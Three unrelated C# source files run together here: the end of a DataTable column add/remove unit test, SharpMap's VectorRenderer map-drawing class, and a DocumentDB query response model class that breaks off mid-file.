Compare(dt.Columns[0].ColumnName, "Column4");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 5 - remove - from begining");
Compare(dt.Columns[1].ColumnName , "Column5");
Compare(dt.Columns.Count,2);
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
dt.Columns.Add();
dt.Columns.Add();
dt.Columns.Add();
dt.Columns.Add();
try
{
BeginCase("check column 0 - Add new - from begining");
Compare(dt.Columns[0].ColumnName , "Column4");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 1 - Add new - from begining");
Compare(dt.Columns[1].ColumnName , "Column5");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 2 - Add new - from begining");
Compare(dt.Columns[2].ColumnName , "Column6");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 3 - Add new - from begining");
Compare(dt.Columns[3].ColumnName , "Column7");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 4 - Add new - from begining");
Compare(dt.Columns[4].ColumnName , "Column8");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 5 - Add new - from begining");
Compare(dt.Columns[5].ColumnName , "Column9");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
//----------------------------- check Add/Remove from middle --------------------
dt = initTable();
dt.Columns.Remove(dt.Columns[2]);
dt.Columns.Remove(dt.Columns[2]);
dt.Columns.Remove(dt.Columns[2]);
try
{
BeginCase("check column 0 - remove - from Middle");
Compare(dt.Columns[0].ColumnName, "Column1");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 1 - remove - from Middle");
Compare(dt.Columns[1].ColumnName , "Column2");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
dt.Columns.Add();
dt.Columns.Add();
dt.Columns.Add();
dt.Columns.Add();
try
{
BeginCase("check column 0 - Add new - from Middle");
Compare(dt.Columns[0].ColumnName , "Column1");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 1 - Add new - from Middle");
Compare(dt.Columns[1].ColumnName , "Column2");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 2 - Add new - from Middle");
Compare(dt.Columns[2].ColumnName , "Column3");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 3 - Add new - from Middle");
Compare(dt.Columns[3].ColumnName , "Column4");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 4 - Add new - from Middle");
Compare(dt.Columns[4].ColumnName , "Column5");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 5 - Add new - from Middle");
Compare(dt.Columns[5].ColumnName , "Column6");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
//----------------------------- check Add/Remove from end --------------------
dt = initTable();
dt.Columns.Remove(dt.Columns[4]);
dt.Columns.Remove(dt.Columns[3]);
dt.Columns.Remove(dt.Columns[2]);
try
{
BeginCase("check column 0 - remove - from end");
Compare(dt.Columns[0].ColumnName, "Column1");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 1 - remove - from end");
Compare(dt.Columns[1].ColumnName , "Column2");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
dt.Columns.Add();
dt.Columns.Add();
dt.Columns.Add();
dt.Columns.Add();
try
{
BeginCase("check column 0 - Add new - from end");
Compare(dt.Columns[0].ColumnName , "Column1");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 1 - Add new - from end");
Compare(dt.Columns[1].ColumnName , "Column2");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 2 - Add new - from end");
Compare(dt.Columns[2].ColumnName , "Column3");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 3 - Add new - from end");
Compare(dt.Columns[3].ColumnName , "Column4");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 4 - Add new - from end");
Compare(dt.Columns[4].ColumnName , "Column5");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
try
{
BeginCase("check column 5 - Add new - from end");
Compare(dt.Columns[5].ColumnName , "Column6");
}
catch(Exception ex){exp = ex;}
finally{EndCase(exp);exp = null;}
}
private void Print(DataTable dt)
{
Console.WriteLine();
foreach(DataColumn dc in dt.Columns)
{
Console.WriteLine(dc.Ordinal.ToString() + " " + dc.ColumnName);
}
}
private DataTable initTable()
{
DataTable dt = new DataTable();
for (int i=0; i<5; i++)
{
dt.Columns.Add();
}
return dt;
}
}
}
| |
// Copyright 2005, 2006 - Morten Nielsen (www.iter.dk)
//
// This file is part of SharpMap.
// SharpMap is free software; you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// SharpMap is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
// You should have received a copy of the GNU Lesser General Public License
// along with SharpMap; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Reflection;
using NetTopologySuite.Geometries;
using SharpMap.Rendering.Symbolizer;
using SharpMap.Styles;
using SharpMap.Utilities;
using System.Runtime.CompilerServices;
using Point = NetTopologySuite.Geometries.Point;
namespace SharpMap.Rendering
{
/// <summary>
/// This class renders individual geometry features to a graphics object using the settings of a map object.
/// </summary>
public static class VectorRenderer
{
internal const float ExtremeValueLimit = 1E+8f;
internal const float NearZero = 1E-30f; // 1/Infinity
static VectorRenderer()
{
SizeOfString = SizeOfStringCeiling;
}
private static readonly Bitmap Defaultsymbol =
(Bitmap)
Image.FromStream(
Assembly.GetExecutingAssembly().GetManifestResourceStream("SharpMap.Styles.DefaultSymbol.png"));
/// <summary>
/// Renders a MultiLineString to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="lines">MultiLineString to be rendered</param>
/// <param name="pen">Pen style used for rendering</param>
/// <param name="map">Map reference</param>
/// <param name="offset">Offset by which line will be moved to right</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawMultiLineString(Graphics g, MultiLineString lines, Pen pen, MapViewport map, float offset)
{
for(var i = 0; i < lines.NumGeometries; i++)
{
var line = (LineString) lines[i];
DrawLineString(g, line, pen, map, offset);
}
}
/// <summary>
/// Offset drawn linestring by given pixel width
/// </summary>
/// <param name="points"></param>
/// <param name="offset"></param>
/// <returns></returns>
internal static PointF[] OffsetRight(PointF[] points, float offset)
{
int length = points.Length;
var newPoints = new PointF[(length - 1) * 2];
float space = (offset * offset / 4) + 1;
//if there are two or more points
if (length >= 2)
{
var counter = 0;
float x = 0, y = 0;
for (var i = 0; i < length - 1; i++)
{
var b = -(points[i + 1].X - points[i].X);
if (b != 0)
{
var a = points[i + 1].Y - points[i].Y;
var c = a / b;
y = 2 * (float)Math.Sqrt(space / (c * c + 1));
y = b < 0 ? y : -y;
x = c * y;
if (offset < 0)
{
y = -y;
x = -x;
}
newPoints[counter] = new PointF(points[i].X + x, points[i].Y + y);
newPoints[counter + 1] = new PointF(points[i + 1].X + x, points[i + 1].Y + y);
}
else
{
newPoints[counter] = new PointF(points[i].X + x, points[i].Y + y);
newPoints[counter + 1] = new PointF(points[i + 1].X + x, points[i + 1].Y + y);
}
counter += 2;
}
return newPoints;
}
return points;
}
/// <summary>
/// Renders a LineString to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="line">LineString to render</param>
/// <param name="pen">Pen style used for rendering</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawLineString(Graphics g, LineString line, Pen pen, MapViewport map)
{
DrawLineString(g, line, pen, map, 0);
}
/// <summary>
/// Renders a LineString to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="line">LineString to render</param>
/// <param name="pen">Pen style used for rendering</param>
/// <param name="map">Map reference</param>
/// <param name="offset">Offset by which line will be moved to right</param>
public static void DrawLineString(Graphics g, LineString line, Pen pen, MapViewport map, float offset)
{
var points = line.TransformToImage(map);
if (points.Length > 1)
{
var gp = new GraphicsPath();
if (offset != 0d)
points = OffsetRight(points, offset);
gp.AddLines(LimitValues(points, ExtremeValueLimit));
g.DrawPath(pen, gp);
}
}
/// <summary>
/// Renders a MultiPolygon byt rendering each polygon in the collection by calling DrawPolygon.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="pols">MultiPolygon to render</param>
/// <param name="brush">Brush used for filling (null or transparent for no filling)</param>
/// <param name="pen">Outline pen style (null if no outline)</param>
/// <param name="clip">Specifies whether polygon clipping should be applied</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawMultiPolygon(Graphics g, MultiPolygon pols, Brush brush, Pen pen, bool clip, MapViewport map)
{
for (var i = 0; i < pols.NumGeometries;i++ )
{
var p = (Polygon) pols[i];
DrawPolygon(g, p, brush, pen, clip, map);
}
}
/// <summary>
/// Renders a polygon to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="pol">Polygon to render</param>
/// <param name="brush">Brush used for filling (null or transparent for no filling)</param>
/// <param name="pen">Outline pen style (null if no outline)</param>
/// <param name="clip">Specifies whether polygon clipping should be applied</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawPolygon(Graphics g, Polygon pol, Brush brush, Pen pen, bool clip, MapViewport map)
{
if (pol.ExteriorRing == null)
return;
var points = pol.ExteriorRing.TransformToImage(map);
if (points.Length > 2)
{
//Use a graphics path instead of DrawPolygon. DrawPolygon has a problem with several interior holes
var gp = new GraphicsPath();
//Add the exterior polygon
if (!clip)
gp.AddPolygon(LimitValues(points, ExtremeValueLimit));
else
DrawPolygonClipped(gp, LimitValues(points, ExtremeValueLimit), map.Size.Width, map.Size.Height);
//Add the interior polygons (holes)
if (pol.NumInteriorRings > 0)
{
foreach (LinearRing ring in pol.InteriorRings)
{
points = ring.TransformToImage(map);
if (!clip)
gp.AddPolygon(LimitValues(points, ExtremeValueLimit));
else
DrawPolygonClipped(gp, LimitValues(points, ExtremeValueLimit), map.Size.Width,
map.Size.Height);
}
}
// Only render inside of polygon if the brush isn't null or isn't transparent
if (brush != null && brush != Brushes.Transparent)
g.FillPath(brush, gp);
// Create an outline if a pen style is available
if (pen != null)
g.DrawPath(pen, gp);
}
}
private static void DrawPolygonClipped(GraphicsPath gp, PointF[] polygon, int width, int height)
{
var clipState = DetermineClipState(polygon, width, height);
if (clipState == ClipState.Within)
{
gp.AddPolygon(polygon);
}
else if (clipState == ClipState.Intersecting)
{
var clippedPolygon = ClipPolygon(polygon, width, height);
if (clippedPolygon.Length > 2)
gp.AddPolygon(clippedPolygon);
}
}
/// <summary>
/// Purpose of this method is to prevent the 'overflow error' exception in the FillPath method.
/// This Exception is thrown when the coordinate values become too big (values over -2E+9f always
/// throw an exception, values under 1E+8f seem to be okay). This method limits the coordinates to
/// the values given by the second parameter (plus an minus). Theoretically the lines to and from
/// these limited points are not correct but GDI+ paints incorrect even before that limit is reached.
/// </summary>
/// <param name="vertices">The vertices that need to be limited</param>
/// <param name="limit">The limit at which coordinate values will be cutoff</param>
/// <returns>The limited vertices</returns>
public static PointF[] LimitValues(PointF[] vertices, float limit)
{
for (var i = 0; i < vertices.Length; i++)
{
vertices[i].X = Math.Max(-limit, Math.Min(limit, vertices[i].X));
vertices[i].Y = Math.Max(-limit, Math.Min(limit, vertices[i].Y));
}
return vertices;
}
/// <summary>
/// Signature for a function that evaluates the length of a string when rendered on a Graphics object with a given font
/// </summary>
/// <param name="g"><see cref="Graphics"/> object</param>
/// <param name="text">the text to render</param>
/// <param name="font">the font to use</param>
/// <returns>the size</returns>
public delegate SizeF SizeOfStringDelegate(Graphics g, string text, Font font);
private static SizeOfStringDelegate _sizeOfString;
/// <summary>
/// Delegate used to determine the <see cref="SizeF"/> of a given string.
/// </summary>
public static SizeOfStringDelegate SizeOfString
{
get { return _sizeOfString ?? (_sizeOfString = SizeOfStringCeiling); }
set
{
if (value != null )
_sizeOfString = value;
}
}
/// <summary>
/// Function to get the <see cref="SizeF"/> of a string when rendered with the given font.
/// </summary>
/// <param name="g"><see cref="Graphics"/> object</param>
/// <param name="text">the text to render</param>
/// <param name="font">the font to use</param>
/// <returns>the size</returns>
public static SizeF SizeOfStringBase(Graphics g, string text, Font font)
{
return g.MeasureString(text, font);
}
/// <summary>
/// Function to get the <see cref="SizeF"/> of a string when rendered with the given font.
/// </summary>
/// <param name="g"><see cref="Graphics"/> object</param>
/// <param name="text">the text to render</param>
/// <param name="font">the font to use</param>
/// <returns>the size</returns>
[Obsolete]
public static SizeF SizeOfString74(Graphics g, string text, Font font)
{
var s = g.MeasureString(text, font);
return new SizeF(s.Width * 0.74f+1f, s.Height * 0.74f);
}
/// <summary>
/// Function to get the <see cref="SizeF"/> of a string when rendered with the given font.
/// </summary>
/// <param name="g"><see cref="Graphics"/> object</param>
/// <param name="text">the text to render</param>
/// <param name="font">the font to use</param>
/// <returns>the size</returns>
public static SizeF SizeOfStringCeiling(Graphics g, string text, Font font)
{
SizeF f = g.MeasureString(text, font);
return new SizeF((float)Math.Ceiling(f.Width), (float)Math.Ceiling(f.Height));
}
/// <summary>
/// Renders a label to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="labelPoint">Label placement</param>
/// <param name="offset">Offset of label in screen coordinates</param>
/// <param name="font">Font used for rendering</param>
/// <param name="forecolor">Font forecolor</param>
/// <param name="backcolor">Background color</param>
/// <param name="halo">Color of halo</param>
/// <param name="rotation">Text rotation in degrees</param>
/// <param name="text">Text to render</param>
/// <param name="map">Map reference</param>
/// <param name="alignment">Horizontal alignment for multi line labels. If not set <see cref="StringAlignment.Near"/> is used</param>
/// <param name="rotationPoint">Point where the rotation should take place</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawLabel(Graphics g, PointF labelPoint, PointF offset, Font font, Color forecolor,
Brush backcolor, Pen halo, float rotation, string text, MapViewport map,
LabelStyle.HorizontalAlignmentEnum alignment = LabelStyle.HorizontalAlignmentEnum.Left,
PointF? rotationPoint = null)
{
//Calculate the size of the text
var labelSize = _sizeOfString(g, text, font);
//Add label offset
labelPoint.X += offset.X;
labelPoint.Y += offset.Y;
//Translate alignment to stringalignment
StringAlignment salign;
switch (alignment)
{
case LabelStyle.HorizontalAlignmentEnum.Left:
salign = StringAlignment.Near;
break;
case LabelStyle.HorizontalAlignmentEnum.Center:
salign = StringAlignment.Center;
break;
default:
salign = StringAlignment.Far;
break;
}
if (rotation != 0 && !float.IsNaN(rotation))
{
rotationPoint = rotationPoint ?? labelPoint;
g.FillEllipse(Brushes.LawnGreen, rotationPoint.Value.X - 1, rotationPoint.Value.Y - 1, 2, 2);
var t = g.Transform.Clone();
g.TranslateTransform(rotationPoint.Value.X, rotationPoint.Value.Y);
g.RotateTransform(rotation);
//g.TranslateTransform(-labelSize.Width/2, -labelSize.Height/2);
labelPoint = new PointF(labelPoint.X - rotationPoint.Value.X,
labelPoint.Y - rotationPoint.Value.Y);
//labelSize = new SizeF(labelSize.Width*0.74f + 1f, labelSize.Height*0.74f);
if (backcolor != null && backcolor != Brushes.Transparent)
g.FillRectangle(backcolor, labelPoint.X, labelPoint.Y, labelSize.Width, labelSize.Height);
var path = new GraphicsPath();
path.AddString(text, font.FontFamily, (int) font.Style, font.Size,
new RectangleF(labelPoint, labelSize) /* labelPoint*/,
new StringFormat { Alignment = salign } /*null*/);
if (halo != null)
g.DrawPath(halo, path);
g.FillPath(new SolidBrush(forecolor), path);
//g.DrawString(text, font, new System.Drawing.SolidBrush(forecolor), 0, 0);
g.Transform = t;
}
else
{
if (backcolor != null && backcolor != Brushes.Transparent)
g.FillRectangle(backcolor, labelPoint.X, labelPoint.Y, labelSize.Width,
labelSize.Height);
var path = new GraphicsPath();
path.AddString(text, font.FontFamily, (int) font.Style, font.Size,
new RectangleF(labelPoint, labelSize) /* labelPoint*/,
new StringFormat { Alignment = salign } /*null*/);
if (halo != null)
g.DrawPath(halo, path);
g.FillPath(new SolidBrush(forecolor), path);
//g.DrawString(text, font, new System.Drawing.SolidBrush(forecolor), LabelPoint.X, LabelPoint.Y);
}
}
private static ClipState DetermineClipState(PointF[] vertices, int width, int height)
{
float minX = float.MaxValue;
float minY = float.MaxValue;
float maxX = float.MinValue;
float maxY = float.MinValue;
for (int i = 0; i < vertices.Length; i++)
{
minX = Math.Min(minX, vertices[i].X);
minY = Math.Min(minY, vertices[i].Y);
maxX = Math.Max(maxX, vertices[i].X);
maxY = Math.Max(maxY, vertices[i].Y);
}
if (maxX < 0) return ClipState.Outside;
if (maxY < 0) return ClipState.Outside;
if (minX > width) return ClipState.Outside;
if (minY > height) return ClipState.Outside;
if (minX > 0 && maxX < width && minY > 0 && maxY < height) return ClipState.Within;
return ClipState.Intersecting;
}
/// <summary>
/// Clips a polygon to the view.
/// Based on UMN Mapserver renderer
/// </summary>
/// <param name="vertices">vertices in image coordinates</param>
/// <param name="width">Width of map in image coordinates</param>
/// <param name="height">Height of map in image coordinates</param>
/// <returns>Clipped polygon</returns>
internal static PointF[] ClipPolygon(PointF[] vertices, int width, int height)
{
var line = new List<PointF>();
if (vertices.Length <= 1) /* nothing to clip */
return vertices;
for (int i = 0; i < vertices.Length - 1; i++)
{
var x1 = vertices[i].X;
var y1 = vertices[i].Y;
var x2 = vertices[i + 1].X;
var y2 = vertices[i + 1].Y;
var deltax = x2 - x1;
if (deltax == 0f)
{
// bump off of the vertical
deltax = (x1 > 0) ? -NearZero : NearZero;
}
var deltay = y2 - y1;
if (deltay == 0f)
{
// bump off of the horizontal
deltay = (y1 > 0) ? -NearZero : NearZero;
}
float xin;
float xout;
if (deltax > 0)
{
// points to right
xin = 0;
xout = width;
}
else
{
xin = width;
xout = 0;
}
float yin;
float yout;
if (deltay > 0)
{
// points up
yin = 0;
yout = height;
}
else
{
yin = height;
yout = 0;
}
var tinx = (xin - x1)/deltax;
var tiny = (yin - y1)/deltay;
float tin1;
float tin2;
if (tinx < tiny)
{
// hits x first
tin1 = tinx;
tin2 = tiny;
}
else
{
// hits y first
tin1 = tiny;
tin2 = tinx;
}
if (1 >= tin1)
{
if (0 < tin1)
line.Add(new PointF(xin, yin));
if (1 >= tin2)
{
var toutx = (xout - x1)/deltax;
var touty = (yout - y1)/deltay;
var tout = (toutx < touty) ? toutx : touty;
if (0 < tin2 || 0 < tout)
{
if (tin2 <= tout)
{
if (0 < tin2)
{
line.Add(tinx > tiny
? new PointF(xin, y1 + tinx*deltay)
: new PointF(x1 + tiny*deltax, yin));
}
if (1 > tout)
{
line.Add(toutx < touty
? new PointF(xout, y1 + toutx*deltay)
: new PointF(x1 + touty*deltax, yout));
}
else
line.Add(new PointF(x2, y2));
}
else
{
line.Add(tinx > tiny ? new PointF(xin, yout) : new PointF(xout, yin));
}
}
}
}
}
if (line.Count > 0)
line.Add(new PointF(line[0].X, line[0].Y));
return line.ToArray();
}
/// <summary>
/// Renders a point to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="point">Point to render</param>
/// <param name="b">Brush reference</param>
/// <param name="size">Size of drawn Point</param>
/// <param name="offset">Symbol offset af scale=1</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawPoint(Graphics g, Point point, Brush b, float size, PointF offset, MapViewport map)
{
if (point == null)
return;
var pp = map.WorldToImage(point.Coordinate);
//var startingTransform = g.Transform;
var width = size;
var height = size;
g.FillEllipse(b, (int)pp.X - width / 2 + offset.X ,
(int)pp.Y - height / 2 + offset.Y , width, height);
}
/// <summary>
/// Renders a point to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="point">Point to render</param>
/// <param name="symbolizer">Symbolizer to decorate point</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawPoint(PointSymbolizer symbolizer, Graphics g, Point point, MapViewport map)
{
if (point == null)
return;
symbolizer.Render(map, point, g);
}
/// <summary>
/// Renders a point to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="point">Point to render</param>
/// <param name="symbol">Symbol to place over point</param>
/// <param name="symbolscale">The amount that the symbol should be scaled. A scale of '1' equals to no scaling</param>
/// <param name="offset">Symbol offset af scale=1</param>
/// <param name="rotation">Symbol rotation in degrees</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawPoint(Graphics g, Point point, Image symbol, float symbolscale, PointF offset,
float rotation, MapViewport map)
{
if (point == null)
return;
if (symbol == null) //We have no point style - Use a default symbol
symbol = Defaultsymbol;
var pp = map.WorldToImage(point.Coordinate);
lock (symbol)
{
if (rotation != 0 && !Single.IsNaN(rotation))
{
var startingTransform = g.Transform.Clone();
var transform = g.Transform;
var rotationCenter = pp;
transform.RotateAt(rotation, rotationCenter);
g.Transform = transform;
//if (symbolscale == 1f)
//{
// g.DrawImage(symbol, (pp.X - symbol.Width/2f + offset.X),
// (pp.Y - symbol.Height/2f + offset.Y));
//}
//else
//{
// var width = symbol.Width*symbolscale;
// var height = symbol.Height*symbolscale;
// g.DrawImage(symbol, (int) pp.X - width/2 + offset.X*symbolscale,
// (int) pp.Y - height/2 + offset.Y*symbolscale, width, height);
//}
var width = symbol.Width * symbolscale;
var height = symbol.Height * symbolscale;
g.DrawImage(symbol, pp.X - width / 2 + offset.X * symbolscale,
pp.Y - height / 2 + offset.Y * symbolscale, width, height);
g.Transform = startingTransform;
}
else
{
//if (symbolscale == 1f)
//{
// g.DrawImageUnscaled(symbol, (int) (pp.X - symbol.Width/2f + offset.X),
// (int) (pp.Y - symbol.Height/2f + offset.Y));
//}
//else
//{
// var width = symbol.Width*symbolscale;
// var height = symbol.Height*symbolscale;
// g.DrawImage(symbol, (int) pp.X - width/2 + offset.X*symbolscale,
// (int) pp.Y - height/2 + offset.Y*symbolscale, width, height);
//}
var width = symbol.Width * symbolscale;
var height = symbol.Height * symbolscale;
g.DrawImage(symbol, pp.X - width / 2 + offset.X * symbolscale,
pp.Y - height / 2 + offset.Y * symbolscale, width, height);
}
}
}
/// <summary>
/// Renders a <see cref="NetTopologySuite.Geometries.MultiPoint"/> to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="points">MultiPoint to render</param>
/// <param name="symbol">Symbol to place over point</param>
/// <param name="symbolscale">The amount that the symbol should be scaled. A scale of '1' equals to no scaling</param>
/// <param name="offset">Symbol offset af scale=1</param>
/// <param name="rotation">Symbol rotation in degrees</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawMultiPoint(Graphics g, MultiPoint points, Image symbol, float symbolscale, PointF offset,
float rotation, MapViewport map)
{
for (var i = 0; i < points.NumGeometries; i++)
{
var point = (Point) points[i];
DrawPoint(g, point, symbol, symbolscale, offset, rotation, map);
}
}
/// <summary>
/// Renders a <see cref="NetTopologySuite.Geometries.MultiPoint"/> to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="points">MultiPoint to render</param>
/// <param name="symbolizer">Symbolizer to decorate point</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawMultiPoint(PointSymbolizer symbolizer, Graphics g, MultiPoint points, MapViewport map)
{
symbolizer.Render(map, points, g);
}
/// <summary>
/// Renders a <see cref="NetTopologySuite.Geometries.MultiPoint"/> to the map.
/// </summary>
/// <param name="g">Graphics reference</param>
/// <param name="points">MultiPoint to render</param>
/// <param name="brush">Brush reference</param>
/// <param name="size">Size of drawn Point</param>
/// <param name="offset">Symbol offset af scale=1</param>
/// <param name="map">Map reference</param>
[MethodImpl(MethodImplOptions.Synchronized)]
public static void DrawMultiPoint(Graphics g, MultiPoint points, Brush brush, float size, PointF offset, MapViewport map)
{
for (var i = 0; i < points.NumGeometries; i++)
{
var point = (Point) points[i];
DrawPoint(g, point, brush, size, offset, map);
}
}
#region Nested type: ClipState
private enum ClipState
{
Within,
Outside,
Intersecting
} ;
#endregion
}
}
| |
using System;
using System.Text;
using Newtonsoft.Json;
namespace DocDBAPIRest.Models
{
/// <summary>
/// DocumentDB query executions are stateless at the server side, and can be resumed at any time using the
/// x-ms-continuation header. The <c>x-ms-continuation</c> value uses the last processed document resource
/// ID <c>(_rid)</c> to track progress of execution. Therefore if documents are deleted and re-inserted
/// between fetching of pages, then it could potentially be excluded from any of the query batches. <remarks>
/// However, the behavior and format of the x-ms-continuation header might change in a future service update.<
/// /remarks>
/// </summary>
public class QueryResourceResponseBody : IEquatable<QueryResourceResponseBody>
{
/// <summary>
/// The resource id for the collection used within the query
/// </summary>
/// <value>The resource id for the collection used within the query</value>
public string Rid { get; set; }
/// <summary>
/// The number of items returned.
/// </summary>
/// <value>The number of items returned.</value>
public int? Count { get; set; }
/// <summary>
/// The array containing the query results.
/// </summary>
/// <value>The array containing the query results.</value>
public string ResourceArray { get; set; }
/// <summary>
/// The date of the request The date is expressed in Coordinated Universal Time format.
/// </summary>
/// <value>The date of the request The date is expressed in Coordinated Universal Time format.</value>
public string Date { get; set; }
/// <summary>
/// The number of item returned by the operation.
/// </summary>
/// <value>The number of item returned by the operation.</value>
public int? XMsItemCount { get; set; }
/// <summary>
/// This is an opaque string returned when the query has potentially more items to be retrieved.
/// <para>
/// The x-ms-continuation can be included in subsequent requests as a request header to resume execution of the
/// query.
/// </para>
/// <para>
/// Clients can fetch subsequent pages of results by echoing the x-ms-continuation header as another request. In
/// order to read all results, clients must repeat this process until an empty x-ms-continuation is returned.
/// </para>
/// </summary>
/// <value>
/// This is an opaque string returned when the query has potentially more items to be retrieved.
/// <para>
/// The x-ms-continuation can be included in subsequent requests as a request header to resume execution of the
/// query.
/// </para>
/// <para>
/// Clients can fetch subsequent pages of results by echoing the x-ms-continuation header as another request. In
/// order to read all results, clients must repeat this process until an empty x-ms-continuation is returned.
/// </para>
/// </value>
public string XMsContinuation { get; set; }
/// <summary>
/// This is the number of request units (RU) consumed by the operation
/// </summary>
/// <value>This is the number of request units (RU) consumed by the operation</value>
public int? XMsRequestCharge { get; set; }
/// <summary>
/// This is a unique identifier for the operation. It can be used for tracing execution of DocumentDB requests.
/// </summary>
/// <value>This is a unique identifier for the operation. It can be used for tracing execution of DocumentDB requests.</value>
public string XMsActivityId { get; set; }
/// <summary>
/// The session token to be used for subsequent requests. Used for session consistency
/// </summary>
/// <value>The session token to be used for subsequent requests. Used for session consistency</value>
public string XMsSessionToken { get; set; }
/// <summary>
/// Returns true if QueryResourceResponseBody instances are equal
/// </summary>
/// <param name="other">Instance of QueryResourceResponseBody to be compared</param>
/// <returns>Boolean</returns>
public bool Equals(QueryResourceResponseBody other)
{
// credit: http://stackoverflow.com/a/10454552/677735
if (other == null)
return false;
return
(
Rid == other.Rid ||
Rid != null &&
Rid.Equals(other.Rid)
) &&
(
Count == other.Count ||
Count != null &&
Count.Equals(other.Count)
) &&
(
ResourceArray == other.ResourceArray ||
ResourceArray != null &&
ResourceArray.Equals(other.ResourceArray)
) &&
(
Date == other.Date ||
Date != null &&
Date.Equals(other.Date)
) &&
(
XMsItemCount == other.XMsItemCount ||
XMsItemCount != null &&
XMsItemCount.Equals(other.XMsItemCount)
) &&
(
XMsContinuation == other.XMsContinuation ||
XMsContinuation != null &&
XMsContinuation.Equals(other.XMsContinuation)
) &&
(
XMsRequestCharge == other.XMsRequestCharge ||
XMsRequestCharge != null &&
XMsRequestCharge.Equals(other.XMsRequestCharge)
) &&
(
XMsActivityId == other.XMsActivityId ||
XMsActivityId != null &&
XMsActivityId.Equals(other.XMsActivityId)
) &&
(
XMsSessionToken == other.XMsSessionToken ||
XMsSessionToken != null &&
XMsSessionToken.Equals(other.XMsSessionToken)
);
}
/// <summary>
/// Returns the string presentation of the object
/// </summary>
/// <returns>String presentation of the object</returns>
public override string ToString()
{
var sb = new StringBuilder();
sb.Append("class QueryResourceResponseBody {\n");
sb.Append(" Rid: ").Append(Rid).Append("\n");
sb.Append(" Count: ").Append(Count).Append("\n");
sb.Append(" ResourceArray: ").Append(ResourceArray).Append("\n");
sb.Append(" Date: ").Append(Date).Append("\n");
sb.Append(" XMsItemCount: ").Append(XMsItemCount).Append("\n");
sb.Append(" XMsContinuation: ").Append(XMsContinuation).Append("\n");
sb.Append(" XMsRequestCharge: ").Append(XMsRequestCharge).Append("\n");
sb.Append(" XMsActivityId: ").Append(XMsActivityId).Append("\n");
sb.Append(" XMsSessionToken: ").Append(XMsSessionToken).Append("\n");
sb.Append("}\n");
return sb.ToString();
}
/// <summary>
/// Returns the JSON string presentation of the object
/// </summary>
/// <returns>JSON string presentation of the object</returns>
public string ToJson()
{
return JsonConvert.SerializeObject(this, Formatting.Indented);
}
/// <summary>
/// Returns true if objects are equal
/// </summary>
/// <param name="obj">Object to be compared</param>
/// <returns>Boolean</returns>
public override bool Equals(object obj)
{
// credit: http://stackoverflow.com/a/10454552/677735
return Equals(obj as QueryResourceResponseBody);
}
/// <summary>
